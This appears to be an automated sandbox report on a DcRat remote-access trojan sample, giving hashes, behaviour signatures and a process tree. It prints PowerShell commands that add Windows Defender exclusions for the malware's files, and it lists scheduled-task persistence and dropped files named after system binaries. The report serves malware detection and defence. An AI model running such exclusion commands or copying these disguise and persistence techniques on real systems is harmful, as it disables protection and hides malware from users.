dcrat | a474624a8071af5f66588423cd21d50da390afde6037c5f9a00d07a1955f50b5

Analysis

max time kernel
147s
max time network
149s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
03/11/2022, 00:17

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

a474624a8071af5f66588423cd21d50da390afde6037c5f9a00d07a1955f50b5.exe
Size

1.3MB
MD5

8cdc5b28739b0b4b141116e158bd8ba5
SHA1

a937e61dee2f2e93f4820d6d200c2d221c0e8bd4
SHA256

a474624a8071af5f66588423cd21d50da390afde6037c5f9a00d07a1955f50b5
SHA512

829486bc452cbff51cbf41adbf13c9a33574858bed1f1d0c88fd100cbeab918a67ce30a3ff54792769866a20ad52733791852317842cf7157867360d7c26029f
SSDEEP

24576:U2G/nvxW3Ww0t6TnzGmVBDh4+aknuRRZJND0gFJ4rD/IjC:UbA30GnzV/q+DnsXg

Score

10^/10

dcrat infostealer rat

Malware Config

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Process spawned unexpected child process 64 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2780	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4220	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1540	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4068	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4052	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1984	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4796	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5108	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1072	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1128	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3160	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3380	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4316	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1520	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2172	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2268	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5072	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4072	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1888	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	176	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	208	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1872	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3952	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4400	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4468	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4336	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3408	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4708	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3572	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3444	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3456	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3484	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3116	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4588	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5068	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	560	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4936	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4988	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5024	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4912	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5092	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5100	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1008	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1072	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4016	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4928	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3996	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2824	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1136	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2172	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5088	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1996	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3444	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2700	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4116	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	976	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1060	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2400	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	5064	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3396	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3268	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2680	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4572	3756	schtasks.exe	22
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3500	3756	schtasks.exe	22

DCRat payload 15 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x0002000000021b43-137.dat	dcrat
behavioral1/files/0x0002000000021b43-138.dat	dcrat
behavioral1/memory/4252-139-0x0000000000230000-0x0000000000340000-memory.dmp	dcrat
behavioral1/files/0x0002000000021b43-193.dat	dcrat
behavioral1/files/0x0006000000022e2b-195.dat	dcrat
behavioral1/files/0x0002000000021b43-210.dat	dcrat
behavioral1/files/0x0006000000022e56-296.dat	dcrat
behavioral1/files/0x0006000000022e56-295.dat	dcrat
behavioral1/files/0x0006000000022e56-303.dat	dcrat
behavioral1/files/0x0006000000022e56-311.dat	dcrat
behavioral1/files/0x0006000000022e56-318.dat	dcrat
behavioral1/files/0x0006000000022e56-325.dat	dcrat
behavioral1/files/0x0006000000022e56-332.dat	dcrat
behavioral1/files/0x0006000000022e56-339.dat	dcrat
behavioral1/files/0x0006000000022e56-344.dat	dcrat

Executes dropped EXE 11 IoCs

pid	Process
4252	DllCommonsvc.exe
1948	DllCommonsvc.exe
3600	DllCommonsvc.exe
3392	conhost.exe
4316	conhost.exe
4920	conhost.exe
836	conhost.exe
4160	conhost.exe
920	conhost.exe
2540	conhost.exe
3384	conhost.exe

Checks computer location settings 2 TTPs 13 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	conhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	DllCommonsvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	DllCommonsvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	conhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	conhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	conhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	conhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	conhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	a474624a8071af5f66588423cd21d50da390afde6037c5f9a00d07a1955f50b5.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	DllCommonsvc.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	conhost.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	conhost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in Program Files directory 24 IoCs

description	ioc	Process
File created	C:\Program Files\7-Zip\Lang\24dbde2999530e	DllCommonsvc.exe
File created	C:\Program Files\Windows Photo Viewer\ja-JP\f3b6ecef712a24	DllCommonsvc.exe
File created	C:\Program Files\Windows Mail\6cb0b6c459d5d3	DllCommonsvc.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\lsass.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\WindowsPowerShell\conhost.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Media Player\dllhost.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Internet Explorer\SIGNUP\sihost.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\dllhost.exe	DllCommonsvc.exe
File created	C:\Program Files\7-Zip\Lang\WmiPrvSE.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\SearchApp.exe	DllCommonsvc.exe
File created	C:\Program Files\Windows Photo Viewer\ja-JP\spoolsv.exe	DllCommonsvc.exe
File created	C:\Program Files\Windows Mail\dwm.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Mozilla Maintenance Service\logs\6203df4a6bafc7	DllCommonsvc.exe
File created	C:\Program Files (x86)\WindowsPowerShell\088424020bedd6	DllCommonsvc.exe
File created	C:\Program Files (x86)\Internet Explorer\SIGNUP\66fc9ff0ee96c2	DllCommonsvc.exe
File created	C:\Program Files (x86)\WindowsPowerShell\fontdrvhost.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Reference Assemblies\Microsoft\38384e6a620884	DllCommonsvc.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\ebf1f9fa8afd6d	DllCommonsvc.exe
File created	C:\Program Files (x86)\Google\Policies\WmiPrvSE.exe	DllCommonsvc.exe
File created	C:\Program Files (x86)\Google\Policies\24dbde2999530e	DllCommonsvc.exe
File created	C:\Program Files (x86)\Windows Media Player\5940a34987c991	DllCommonsvc.exe
File created	C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\v3.0\5940a34987c991	DllCommonsvc.exe
File created	C:\Program Files (x86)\WindowsPowerShell\5b884080fd4f94	DllCommonsvc.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\cmd.exe	DllCommonsvc.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\diagnostics\csrss.exe	DllCommonsvc.exe
File created	C:\Windows\Fonts\sppsvc.exe	DllCommonsvc.exe
File created	C:\Windows\Fonts\0a1fd5f707cd16	DllCommonsvc.exe
File created	C:\Windows\ServiceState\WinHttpAutoProxySvc\Data\sppsvc.exe	DllCommonsvc.exe
File created	C:\Windows\IME\IMEKR\csrss.exe	DllCommonsvc.exe
File created	C:\Windows\IME\IMEKR\886983d96e3d3e	DllCommonsvc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 64 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1872	schtasks.exe
5024	schtasks.exe
2172	schtasks.exe
3108	schtasks.exe
3840	schtasks.exe
4052	schtasks.exe
5072	schtasks.exe
2400	schtasks.exe
2280	schtasks.exe
4308	schtasks.exe
1128	schtasks.exe
560	schtasks.exe
3268	schtasks.exe
4116	schtasks.exe
1596	schtasks.exe
5108	schtasks.exe
1520	schtasks.exe
4188	schtasks.exe
4872	schtasks.exe
1868	schtasks.exe
1136	schtasks.exe
4572	schtasks.exe
5032	schtasks.exe
3444	schtasks.exe
2236	schtasks.exe
2264	schtasks.exe
5092	schtasks.exe
2700	schtasks.exe
4468	schtasks.exe
3444	schtasks.exe
3456	schtasks.exe
4588	schtasks.exe
4192	schtasks.exe
3356	schtasks.exe
4220	schtasks.exe
208	schtasks.exe
2824	schtasks.exe
1888	schtasks.exe
4400	schtasks.exe
3444	schtasks.exe
2960	schtasks.exe
2124	schtasks.exe
1072	schtasks.exe
4988	schtasks.exe
2172	schtasks.exe
176	schtasks.exe
3572	schtasks.exe
3116	schtasks.exe
5068	schtasks.exe
4016	schtasks.exe
4796	schtasks.exe
3380	schtasks.exe
3396	schtasks.exe
3960	schtasks.exe
1072	schtasks.exe
3500	schtasks.exe
1804	schtasks.exe
4072	schtasks.exe
4936	schtasks.exe
1008	schtasks.exe
3996	schtasks.exe
976	schtasks.exe
1916	schtasks.exe
1644	schtasks.exe

Modifies registry class 11 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	DllCommonsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	conhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	conhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	conhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	a474624a8071af5f66588423cd21d50da390afde6037c5f9a00d07a1955f50b5.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	DllCommonsvc.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	conhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	conhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	conhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	conhost.exe
Key created	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000_Classes\Local Settings	conhost.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
4252	DllCommonsvc.exe
3280	powershell.exe
924	powershell.exe
924	powershell.exe
4168	powershell.exe
4168	powershell.exe
4520	powershell.exe
4520	powershell.exe
3316	powershell.exe
3316	powershell.exe
1548	powershell.exe
1548	powershell.exe
1988	powershell.exe
1988	powershell.exe
488	powershell.exe
488	powershell.exe
3432	powershell.exe
3432	powershell.exe
1124	powershell.exe
1124	powershell.exe
2696	powershell.exe
2696	powershell.exe
3932	powershell.exe
3932	powershell.exe
1280	powershell.exe
1280	powershell.exe
924	powershell.exe
924	powershell.exe
3280	powershell.exe
3280	powershell.exe
4168	powershell.exe
4168	powershell.exe
1548	powershell.exe
4520	powershell.exe
4520	powershell.exe
1988	powershell.exe
3316	powershell.exe
3316	powershell.exe
488	powershell.exe
3432	powershell.exe
2696	powershell.exe
1124	powershell.exe
3932	powershell.exe
1280	powershell.exe
1948	DllCommonsvc.exe
1948	DllCommonsvc.exe
1948	DllCommonsvc.exe
1948	DllCommonsvc.exe
1948	DllCommonsvc.exe
1948	DllCommonsvc.exe
1948	DllCommonsvc.exe
1948	DllCommonsvc.exe

Suspicious use of AdjustPrivilegeToken 46 IoCs

description	pid	Process
Token: SeDebugPrivilege	4252	DllCommonsvc.exe
Token: SeDebugPrivilege	3280	powershell.exe
Token: SeDebugPrivilege	924	powershell.exe
Token: SeDebugPrivilege	4168	powershell.exe
Token: SeDebugPrivilege	4520	powershell.exe
Token: SeDebugPrivilege	3316	powershell.exe
Token: SeDebugPrivilege	1548	powershell.exe
Token: SeDebugPrivilege	1988	powershell.exe
Token: SeDebugPrivilege	488	powershell.exe
Token: SeDebugPrivilege	3432	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	1124	powershell.exe
Token: SeDebugPrivilege	3932	powershell.exe
Token: SeDebugPrivilege	1280	powershell.exe
Token: SeDebugPrivilege	1948	DllCommonsvc.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	4040	powershell.exe
Token: SeDebugPrivilege	4196	powershell.exe
Token: SeDebugPrivilege	460	powershell.exe
Token: SeDebugPrivilege	2764	powershell.exe
Token: SeDebugPrivilege	3096	powershell.exe
Token: SeDebugPrivilege	3568	powershell.exe
Token: SeDebugPrivilege	4416	powershell.exe
Token: SeDebugPrivilege	4152	powershell.exe
Token: SeDebugPrivilege	3600	DllCommonsvc.exe
Token: SeDebugPrivilege	1388	powershell.exe
Token: SeDebugPrivilege	1252	powershell.exe
Token: SeDebugPrivilege	4352	powershell.exe
Token: SeDebugPrivilege	3844	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	60	powershell.exe
Token: SeDebugPrivilege	3928	powershell.exe
Token: SeDebugPrivilege	4424	powershell.exe
Token: SeDebugPrivilege	2516	powershell.exe
Token: SeDebugPrivilege	4636	powershell.exe
Token: SeDebugPrivilege	1072	powershell.exe
Token: SeDebugPrivilege	1436	powershell.exe
Token: SeDebugPrivilege	3392	conhost.exe
Token: SeDebugPrivilege	4316	conhost.exe
Token: SeDebugPrivilege	4920	conhost.exe
Token: SeDebugPrivilege	836	conhost.exe
Token: SeDebugPrivilege	4160	conhost.exe
Token: SeDebugPrivilege	920	conhost.exe
Token: SeDebugPrivilege	2540	conhost.exe
Token: SeDebugPrivilege	3384	conhost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1644 wrote to memory of 1692	1644	a474624a8071af5f66588423cd21d50da390afde6037c5f9a00d07a1955f50b5.exe	80
PID 1644 wrote to memory of 1692	1644	a474624a8071af5f66588423cd21d50da390afde6037c5f9a00d07a1955f50b5.exe	80
PID 1644 wrote to memory of 1692	1644	a474624a8071af5f66588423cd21d50da390afde6037c5f9a00d07a1955f50b5.exe	80
PID 1692 wrote to memory of 3672	1692	WScript.exe	81
PID 1692 wrote to memory of 3672	1692	WScript.exe	81
PID 1692 wrote to memory of 3672	1692	WScript.exe	81
PID 3672 wrote to memory of 4252	3672	cmd.exe	83
PID 3672 wrote to memory of 4252	3672	cmd.exe	83
PID 4252 wrote to memory of 488	4252	DllCommonsvc.exe	120
PID 4252 wrote to memory of 488	4252	DllCommonsvc.exe	120
PID 4252 wrote to memory of 4520	4252	DllCommonsvc.exe	121
PID 4252 wrote to memory of 4520	4252	DllCommonsvc.exe	121
PID 4252 wrote to memory of 4168	4252	DllCommonsvc.exe	122
PID 4252 wrote to memory of 4168	4252	DllCommonsvc.exe	122
PID 4252 wrote to memory of 3280	4252	DllCommonsvc.exe	124
PID 4252 wrote to memory of 3280	4252	DllCommonsvc.exe	124
PID 4252 wrote to memory of 3316	4252	DllCommonsvc.exe	125
PID 4252 wrote to memory of 3316	4252	DllCommonsvc.exe	125
PID 4252 wrote to memory of 924	4252	DllCommonsvc.exe	126
PID 4252 wrote to memory of 924	4252	DllCommonsvc.exe	126
PID 4252 wrote to memory of 1548	4252	DllCommonsvc.exe	132
PID 4252 wrote to memory of 1548	4252	DllCommonsvc.exe	132
PID 4252 wrote to memory of 1988	4252	DllCommonsvc.exe	131
PID 4252 wrote to memory of 1988	4252	DllCommonsvc.exe	131
PID 4252 wrote to memory of 2696	4252	DllCommonsvc.exe	133
PID 4252 wrote to memory of 2696	4252	DllCommonsvc.exe	133
PID 4252 wrote to memory of 3432	4252	DllCommonsvc.exe	137
PID 4252 wrote to memory of 3432	4252	DllCommonsvc.exe	137
PID 4252 wrote to memory of 1124	4252	DllCommonsvc.exe	139
PID 4252 wrote to memory of 1124	4252	DllCommonsvc.exe	139
PID 4252 wrote to memory of 3932	4252	DllCommonsvc.exe	141
PID 4252 wrote to memory of 3932	4252	DllCommonsvc.exe	141
PID 4252 wrote to memory of 1280	4252	DllCommonsvc.exe	143
PID 4252 wrote to memory of 1280	4252	DllCommonsvc.exe	143
PID 4252 wrote to memory of 2780	4252	DllCommonsvc.exe	146
PID 4252 wrote to memory of 2780	4252	DllCommonsvc.exe	146
PID 2780 wrote to memory of 4336	2780	cmd.exe	243
PID 2780 wrote to memory of 4336	2780	cmd.exe	243
PID 2780 wrote to memory of 1948	2780	cmd.exe	149
PID 2780 wrote to memory of 1948	2780	cmd.exe	149
PID 1948 wrote to memory of 1848	1948	DllCommonsvc.exe	178
PID 1948 wrote to memory of 1848	1948	DllCommonsvc.exe	178
PID 1948 wrote to memory of 4196	1948	DllCommonsvc.exe	183
PID 1948 wrote to memory of 4196	1948	DllCommonsvc.exe	183
PID 1948 wrote to memory of 4040	1948	DllCommonsvc.exe	179
PID 1948 wrote to memory of 4040	1948	DllCommonsvc.exe	179
PID 1948 wrote to memory of 4808	1948	DllCommonsvc.exe	181
PID 1948 wrote to memory of 4808	1948	DllCommonsvc.exe	181
PID 1948 wrote to memory of 460	1948	DllCommonsvc.exe	184
PID 1948 wrote to memory of 460	1948	DllCommonsvc.exe	184
PID 1948 wrote to memory of 2764	1948	DllCommonsvc.exe	187
PID 1948 wrote to memory of 2764	1948	DllCommonsvc.exe	187
PID 1948 wrote to memory of 3096	1948	DllCommonsvc.exe	190
PID 1948 wrote to memory of 3096	1948	DllCommonsvc.exe	190
PID 1948 wrote to memory of 4416	1948	DllCommonsvc.exe	192
PID 1948 wrote to memory of 4416	1948	DllCommonsvc.exe	192
PID 1948 wrote to memory of 3568	1948	DllCommonsvc.exe	193
PID 1948 wrote to memory of 3568	1948	DllCommonsvc.exe	193
PID 1948 wrote to memory of 4152	1948	DllCommonsvc.exe	196
PID 1948 wrote to memory of 4152	1948	DllCommonsvc.exe	196
PID 1948 wrote to memory of 3600	1948	DllCommonsvc.exe	198
PID 1948 wrote to memory of 3600	1948	DllCommonsvc.exe	198
PID 3600 wrote to memory of 1388	3600	DllCommonsvc.exe	221
PID 3600 wrote to memory of 1388	3600	DllCommonsvc.exe	221

C:\Users\Admin\AppData\Local\Temp\a474624a8071af5f66588423cd21d50da390afde6037c5f9a00d07a1955f50b5.exe
"C:\Users\Admin\AppData\Local\Temp\a474624a8071af5f66588423cd21d50da390afde6037c5f9a00d07a1955f50b5.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1644
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\providercommon\yTUdeXjbLOhnrN32dgrxVg.vbe"
  2⤵
  - Checks computer location settings
  - Suspicious use of WriteProcessMemory
  PID:1692
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\providercommon\1zu9dW.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3672
  - - C:\providercommon\DllCommonsvc.exe
      "C:\providercommon\DllCommonsvc.exe"
      4⤵
      Executes dropped EXE
      Checks computer location settings
      Drops file in Program Files directory
      Drops file in Windows directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4252
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\DllCommonsvc.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:488
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\odt\Registry.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4520
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\WindowsPowerShell\fontdrvhost.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4168
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\cmd.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3280
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Google\Policies\WmiPrvSE.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3316
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\7-Zip\Lang\WmiPrvSE.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:924
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\csrss.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1988
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\3D Objects\sppsvc.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1548
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Recovery\WindowsRE\upfc.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2696
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\fontdrvhost.exe'
        5⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3432
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell" -Command Add-MpPreference -ExclusionPath 'C:\providercommon\sppsvc.exe'
